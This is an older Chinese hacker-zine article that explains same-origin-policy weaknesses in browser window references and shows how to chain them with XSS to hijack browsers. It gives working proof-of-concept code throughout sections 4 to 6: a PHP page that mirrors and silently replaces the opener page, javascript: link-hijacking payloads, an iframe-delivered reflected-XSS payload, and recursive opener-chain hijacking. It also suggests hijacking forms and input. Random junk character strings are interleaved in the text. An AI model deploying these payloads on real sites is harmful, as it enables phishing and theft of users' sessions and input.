==Ph4nt0m Security Team==4 P1 V' s Z. R5 K1 p
% G+ w3 G$ o0 Y* I; F) m1 }
Issue 0x03, Phile #0x05 of 0x07
9 P* A7 e3 Y: ^) Q% J4 K; c
0 A1 x5 A- A4 B6 b
9 D# [2 s9 g: L4 P! R|=---------------------------------------------------------------------------=|
5 e7 ^$ Y* T* t( `: @+ p; ]6 V|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|* A& i0 ]- Y( \ H; ~9 n8 R4 `( _
|=---------------------------------------------------------------------------=|
/ S* u# t" I3 G9 O4 H% E|=---------------------------------------------------------------------------=|; p9 ]) w& v/ V& J8 r" i
|=------------------------=[ By rayh4c ]=---------------------------=|+ k2 u0 Y4 p) s+ i
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|2 W' m3 Z% d D* ^4 L
|=---------------------------------------------------------------------------=|5 h; l/ c8 [& K/ o: V+ z1 U
. \; Z _0 H- u! Y+ b9 A7 J3 d$ h# R+ c/ ~4 ?
[目录]
0 q' n" o$ `( f1 [/ p$ `/ j& x/ [; x3 A5 D6 ~9 L3 b4 @% |
1. 前言
4 U3 c% x' {# e) U+ S9 B2. 同源策略简叙
/ u$ ~- g; j. b# q3. 理解window对象的同源策略. Q( v3 v/ d* c' u7 ]% G, `
4. 窗口引用功能中的同源策略漏洞
; r( M( x/ L0 r" u2 I 4.1 父窗口引用子窗口的同源策略问题8 K: q. c2 ^: Z9 @" `4 G% z: e
4.2 子窗口引用父窗口的同源策略问题
) \6 F1 | G$ r" F5. 利用窗口引用漏洞劫持浏览器% ~- }# H5 d5 e% g/ Y1 M
6. 利用XSS漏洞劫持浏览器0 x, ]0 y- F/ j
6.1 正向跨窗口劫持" m w e8 Y6 Z4 T1 [! m
6.2 反向跨窗口劫持
6 ^, y3 Z! l1 U J. D8 E+ } 6.3 极度危险的跨框架窗口引用劫持. F& F4 f Y" D' H# i
6.4 极度危险的正反向跨窗口递归劫持9 D) s. R2 ^" J. ^. \9 `
6.5 完全控制浏览器
" Y/ P. v; K) Y7. 后记
9 z5 x5 G, r( q$ {) H) E8. 参考( S7 I( Y5 A. W; F1 q
5 P. Y6 \4 B$ A1 E1 P% F
7 Z" ?7 ~0 \ e一、前言
+ E2 y ^8 O- Z' T; }+ b9 r' B! t9 u( W" e! a4 k9 [" ^( z% c
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋5 y3 r# z: g% Z: a
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
" d+ S! ]. K" Z5 ^劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
) ]" z1 {; t- O8 ~; B7 C% _4 Y条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 `4 x. j' T _
/ H: q; \4 ^( ?* ]& W
0 Q0 g4 o2 g* m% `0 Q7 t: T# D/ V二、同源策略简叙3 B' E& e# |( k1 Z& _' K" R
) }) j e# h) | 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以& P% r5 B7 w" `6 E: b/ m
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
8 ]/ z. v: V" ^3 a' ]曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木' o1 L/ S* }4 r' G% {) ^5 u+ Q
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个+ f6 f( }" j. u
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
7 E1 d5 {: ]2 N& r, e: \& V( p* g( N
. d1 d9 |& n( c
4 `, C! B9 D5 w三、理解window对象的同源策略& _8 D% N( p$ O) N; Z
4 w/ S& S" B: L- d5 D5 z# g 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对+ g" e o; s) ^ o
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:* C0 o( U! e0 z u, Y2 s A
2 [1 r1 ?3 V2 `7 V P7 v--code-------------------------------------------------------------------------
% X5 F( N# w! v2 D<script language="javascript">
" x6 G% ^' V0 _/ ~for(p in window) document.write(p+"<br>");+ Y* U% {5 ^2 g% u
</script>
- f1 i5 w, j% ~: ]. _-------------------------------------------------------------------------------2 O4 c8 a1 b7 S; N
7 U( L! j5 V8 O. `" Q! T& x
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
g0 J( Y* f, L# e4 B法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
" G. i4 z* k8 T2 u4 c% e. N这些属性和方法就必须遵循同源策略。$ C1 Y# j/ `$ R3 ?. Z
7 s2 [2 M- \; p# l) @4 r3 V 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那3 s `' h7 Y6 C1 q) ]( T- m
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须! z$ E& O+ Z/ i9 a# [* g* I; W
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
. `. D4 h- Z$ L: G7 h个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的% V' p: @" k; m; | ]8 d
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
; Y! i+ s+ }. S/ R( W [8 C属性并没有被拒绝访问。5 d$ T9 u* G6 E! M; y9 d6 [
9 l$ Q) I: f i7 D# I+ v2 ]# ?
--demo.html--------------------------------------------------------------------
( ~+ k% m6 E, a- \5 X6 G0 y2 y<script language="javascript">
4 l4 W' x) j6 M2 C9 i1 Z4 sfunction allPrpos(obj) { / G) [% P- `$ I( `: P
var props = "<table><tr><td>名称</td><td>值</td>"; 0 a& V6 K. S" A3 h2 k% V3 f- P; X
for(var p in obj){
, k }( D$ p$ H$ R% z if(typeof(obj[p])=="function"){
4 L$ K. G U9 \) r obj[p]();
# b- V2 X( L7 c( M) |! L' ? }else{
/ C6 [( z# K" O6 c try % ?5 n3 q% c1 p, \9 n o3 s$ p
{
0 r$ S! w$ w5 N1 `3 \- ~+ j6 [2 ? props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
/ X1 F" O1 ?* h, f5 i } 2 Z, N- m, `; {0 a% c4 w k& e, R0 @' U
catch (ex)
1 v: E: u6 v' I. x2 G) Q; L/ f { / s- T/ s8 T# t2 t% s, {3 G. e0 E
, l9 z& f1 O& Q( ~) Z: v* I# p props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 7 Q+ d/ H2 R5 O0 ~ g
}
; T) [# ^* U# w& X8 ], @8 @
& }& Y. c1 x# v* M' [ }
. l3 o' N, T1 b } ; H b; F2 O' R
/ }2 {$ M6 B/ m) R* W
document.write(props+"</table>"); ! W3 D" A5 D9 O
} ' ^* Q( _, q8 f( B4 ?( [- H5 ^
; P! K3 u) t* n: @
function createWin() {
) W ^; ~) z. P \3 e newWin = window.open ("http://www.google.com");
) q8 ~) m2 t" C setTimeout(function(){allPrpos(newWin)},2000); 2 @: T% p9 ]9 M6 Z' G
}
8 X5 g. k# [/ b% u3 J9 b/ c
4 l7 m6 R0 D8 e8 e9 \" o# |6 I</script> * i& }8 b B1 H0 O. Q4 a
( w$ W( s C; [
<button onclick='createWin()'>创建一个非同源子窗口测试</button>; L* y' q0 ]6 {( n ~; ^; O, D
-------------------------------------------------------------------------------
2 |2 v% S* M1 C7 T8 s0 }! X' \
2 e3 `2 e4 m4 Q! D2 |& c) a) }3 Q' @/ Z9 g
四、窗口引用功能中的同源策略漏洞
" c7 p: C6 b6 j& \% L8 v2 ]! m! A1 h* U
4.1 父窗口引用子窗口的同源策略问题& j! [# ~( N- T
' C9 E* I6 h ]: A 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
6 }" |9 j& W6 D ?) l" G但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道" `& j+ o6 p# P3 f% L
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进# C* k3 }9 S. x7 r) y, N8 u/ W1 Y
行测试,会发现父窗口可以控制非同源子窗口location属性值。
$ m& n+ m! S3 w8 T' N8 E
, _3 v5 j' A6 S. p$ q--vul1.html-------------------------------------------------------------------- X- ^$ g" w- z( B3 y
<script language="javascript">
% O# [+ k/ ^5 ]3 wfunction createWin() { 3 A# U, j! \$ c. U$ t
newWin = window.open ("http://www.google.com");
7 c( ~. H! U# R7 X! P' V setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 Y% e) N3 A' S; \}
% d: F, o4 _* v; j- b! [$ F</script>% I# h$ e: L* W/ h- M6 B, t2 Z- Z
9 G C8 t: Z* Y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
T" ~9 v8 ~3 Y G( \- y8 v-------------------------------------------------------------------------------
. o& J) q h8 w5 J+ H J6 j" G- w6 c+ [4 f0 \
5 x- p7 }7 I1 a0 b' I
4.2 子窗口引用父窗口的同源策略问题7 ]6 T/ ^. k( q G0 U# m
( ^2 s7 m% s, w 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使5 L) C( M( B$ C
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
4 n$ q0 I( g. f8 `0 N可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定6 ]- y6 Z4 E8 f7 {2 A
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, D) W" m8 v/ [; D; a7 S
9 q2 Y2 P6 Y: x \# @1 H) ^--code-------------------------------------------------------------------------3 Y* y: ^3 c- {3 m
) f) _* [- d- ]javascript:window.opener.location = "http://www.80sec.com";void(0);
k+ E1 @( V6 ?, @' I* A3 v! s" c+ N
-------------------------------------------------------------------------------
& V, }/ N. H- ~3 O: t, J
/ L/ Q; N% T$ Y) n; p3 @9 F/ [, R; V9 T' i' W4 N) Z6 Y4 h
五、利用窗口引用漏洞劫持浏览器$ h4 E3 J4 ]& S: _6 [9 B8 g
5 c; ~0 h% z, }% y3 e+ s 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
5 ?. P: j5 T' \1 ~$ K b; X) \+ N窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
n( x3 k2 @7 C/ o# `1 T么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。" T; W% T6 S4 D9 N5 l- t9 v
" f. o+ n: z! `4 l7 r1 W9 \ 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
+ x: }% | O2 t3 t. Q: y生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
: Z" |( o8 e7 Y/ J7 b% c8 E者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接4 v1 b5 n& U- t% }
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下& P8 h$ K* r8 a- j9 M4 W7 u
会产生什么可怕的后果。: P1 ?6 }! Z3 R3 s6 w" M" v
# s) |5 `( l' b# N7 u3 c
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我, |1 h+ R: H$ ?( M: k% Q
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
5 n8 b* ~" B! `: h+ ~! V0 ]8 L3 [这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( O; Q/ Q" `% j" N5 y+ A
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
3 {& \3 A$ ?5 ]& f1 ^以做更多的事情,所有的一切仅仅是因为点击了一个链接。+ H. b, Y0 ^: f/ ~" u* A
% m P7 _) n& x5 w) V
--hjk_ref.php------------------------------------------------------------------
2 y7 o, a( ~: ^6 j! c<?php
3 }+ x4 @/ h8 s8 |$ {$ fif (array_key_exists("HTTP_REFERER", $_SERVER)) {
- @" Z) c. a, N: i2 H) E' N- S$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ K$ T- K( K& p) _/ D* s} ( |+ c7 v1 ]% v, k' P: ~/ L
if(isset ($_GET['ref'])) {- }2 I. W n0 j! I3 F% o
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';. ?+ P: ?- O- V
} v1 \6 l/ K: B. P7 G( `
?>2 j# R; J3 C- F, Z5 K) s, s8 F4 @
- H% [1 C" B, x" l: O' C, }( `<script language="javascript">8 V, x: l1 e* S
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
) Z0 a$ D8 w9 M! z</script>$ D; b/ `" k R6 W% N3 b
-------------------------------------------------------------------------------# M+ M: |( }% t' \/ R- U6 v
- Z p1 t2 n- Y7 `! l$ `4 K 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。) ]' |" y: t+ q$ ]# T! B
- J+ r1 `3 n6 [1 r* C0 i& O- }0 n+ R" }$ {2 I2 v
六、利用XSS漏洞劫持浏览器
0 {) D: o# U& B; f# h& E! k4 a$ r
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
3 T P* R* K3 b; u持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
! g% l! X1 O3 f- j) ?' i. F kXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起- L6 I9 Y* b9 X9 z4 `" j/ A# ~
讨论跨站师的终极技巧:
9 G* x r5 O+ {8 |4 h& h
' H9 ]1 g" H! A$ Q4 _6 U+ ^
; E2 V5 x+ o# T. L6 |( D6.1 正向跨窗口劫持
; b% T% Y% @- H# \0 h% b
. f: \8 q5 D0 h# n+ S, L 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
6 W" z& Y5 r& f4 O主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链+ ~& t R) W$ a1 S. q4 _
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话$ z! s5 X" W8 J. |) T/ `: Q
框脚本。
. j- G: R: J' |9 Z
+ _& L9 i5 m7 ?0 i# I3 l--hijack_open.js---------------------------------------------------------------
% }! W* Y A3 g6 F# \
& y5 w2 Z5 \1 njavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);5 Y: a' Y# ?) A: s
# F I; L; f4 W9 B9 X& X-------------------------------------------------------------------------------4 {" O6 a/ s( d) D& s$ U0 o
9 h$ c8 z* {+ D1 l( R6 q1 o
/ z: k* W9 y8 g9 Y( c) `! X. y6.2 反向跨窗口劫持* V1 n) m9 E2 {$ w3 ` C
! L% x5 m7 S6 a/ v1 E/ X% y+ E 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代& s- l0 |+ a& R$ R. e
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话8 n! {( \* D& W7 s! c% T0 K
框脚本。! \8 v! W) ?2 o3 y% _9 O
9 g1 M" P- o5 A0 d* }
--hijack_opener.js-------------------------------------------------------------
& v! u5 l+ {8 d+ m
5 v3 u3 ?1 U* b' Y; |) n& T yjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
4 e ^& M* c ?, v% E3 w& O, u, [1 e# M# [
-------------------------------------------------------------------------------
& i4 Q* V7 T- b. ?
5 g7 N5 \( O$ s
8 ^6 c7 q5 y: K* E6.3 极度危险的跨框架窗口引用劫持. [/ [: g0 I6 o+ t, X7 f
7 E/ Z2 L& Q( O, ~ 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞& L9 {3 j( _- i: ?) q2 X: ]% l
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就% y' z3 S X" i$ ^
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个/ Q2 z) v& S$ W7 j3 j; g
非持久型的XSS,如下:
4 g9 S4 M2 e9 B3 c4 p* K( o* B2 Y- e/ R
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>+ L1 e7 s) r( a( h
8 Q$ j: D) x- s ` ]( |( J' h$ i 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口$ y- d( O. _( s0 W6 k9 E
注入脚本。
2 U+ X; m4 ?; \5 H- z% T M. }- v8 @
$ x( j% G) C9 |$ _--hijack_frame_opener.js-------------------------------------------------------+ j/ }& y6 n7 d
<script>
S5 M, a5 Y# C# H$ R% @& gwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
- K9 O8 |' w* d- Y/ p</script>8 i; Z" m |, p
-------------------------------------------------------------------------------
) J& y/ V5 |4 c3 C* w& n0 _
" s2 r* p! V3 m8 n5 h9 n: {! q
% ?7 e4 ?" U& t0 h3 |5 T6 M. i6.4 极度危险的正反向跨窗口递归劫持" `8 D" _/ A1 t$ W+ w
( @7 v* G3 d5 U' m5 h' ^$ @$ C
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
3 U4 D+ a# S: \3 P+ ?. c+ F' {, T的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( O$ A( f# N$ L( T( ?. h: S: ^5 T
异常处理规避之间跨域页面的访问异常,代码如下:" f! m L, ]& L. W. w
7 }& B6 J8 C% n
--code------------------------------------------------------------------------- p7 T. E5 L0 Z" T+ C" Z
- N4 _/ N. O' w; Ejavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);. [( s7 p1 M2 P
% R8 i% m) J5 c7 u7 x3 L' ?. o1 t2 T-------------------------------------------------------------------------------
/ O& \/ u0 B5 F7 E) W& ]. V5 M
8 ]9 p* Y- S2 @ 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
/ t( m4 {. t/ B& r2 v以劫持B域之前的A域页面,从而实现“隔空打击”。2 F" y! l2 Y' m% [: F
) |2 D/ Q# r0 D/ ^& c* E" j 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
* O- m5 E1 f% n8 i9 J4 V执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。: ?2 Z. z7 V. C( o
" m6 l# i' |/ b$ l% E2 U 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
1 e& M) k( s/ w1 C7 I6 B" M
W% N. n2 F" M6 q% Y
( d) e2 f* B$ V5 { |8 O( q6.5 完全控制浏览器7 ~( s% d# }) k4 r" y
/ I# N: Y9 Z$ A' q9 y7 d% | 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 K( q' c: |7 s" E2 V是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
- m! V+ v. G- k+ v- |+ i漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
2 ?' ^5 s# H/ c/ v* W4 {8 J而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再& t' E# R/ h% {3 s
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站0 k1 b: `- f S1 s
师的终极目标 - 完全控制浏览器。
1 X$ ~6 f# j3 [- z8 W1 _# L+ d* M% y0 @+ A1 U
' Y# z' d. f' d七、后记
0 O4 @- P& s1 X2 p! p+ e* m+ q+ f8 n3 t& H5 `
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全 R/ h" e- U3 b( d
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
" A/ O J( N f; Z9 v: Q$ w过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。! K, K& z/ _. V: K$ J& P
# ]& e( n/ J- Y: ?6 ~
2 ?8 }; Z$ G' L1 w! ^. S八、参考
- s2 \" R' f6 W1 m% D4 o% y0 u- p, @/ O
1. http://en.wikipedia.org/wiki/Same_origin_policy4 x! _5 H% w& |5 I* J* I
2. http://code.google.com/p/browser ... licy_for_DOM_access' g3 b% F0 K2 n9 B$ M- c6 G
3. http://www.w3.org/TR/Window/
0 @' u1 v. Y2 T/ G3 d% H% S. R4. http://www.80sec.com/release/browser-hijacking.txt( [, b* ^) V$ }
5. http://www.80sec.com/all-browser-security-alert.html+ O2 O2 U: t2 I+ v
6. http://www.80sec.com/ms08-058-attacks-google.html$ [2 Z! _" a/ U+ f9 E" o; Y
) e# r% r! ^3 V: n. T
-EOF- |